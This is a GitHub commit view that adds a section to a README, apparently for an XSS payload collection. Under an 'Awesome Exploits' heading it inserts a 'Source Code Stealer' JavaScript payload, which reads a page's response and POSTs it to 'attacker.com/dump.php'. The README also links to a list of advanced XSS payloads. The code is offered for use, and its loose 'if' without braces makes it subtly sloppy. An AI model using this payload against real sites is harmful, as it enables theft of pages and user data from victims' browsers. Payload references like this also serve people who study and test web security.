Update README.md

This commit is contained in:
Somdev Sangwan 2018-06-03 11:29:31 +05:30 committed by GitHub
parent 34c9c338d7
commit 501ba17ff1
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -119,6 +119,19 @@ new class extends confirm``{}
``` ```
### Awesome Exploits ### Awesome Exploits
##### Source Code Stealer
```javascript
var request = new XMLHttpRequest();
request.open("GET", url, true);
request.send();
request.onreadystatechange = function() {
if (request.readyState == 4)
response = request.responseText;
var dump = new XMLHttpRequest();
dump.open("POST", "attacker.com/dump.php", true)
dump.send(response);
}
```
A good compilation of advanced XSS exploits can be found [here](http://www.xss-payloads.com/payloads-list.html?a#category=all) A good compilation of advanced XSS exploits can be found [here](http://www.xss-payloads.com/payloads-list.html?a#category=all)
### Awesome Probing ### Awesome Probing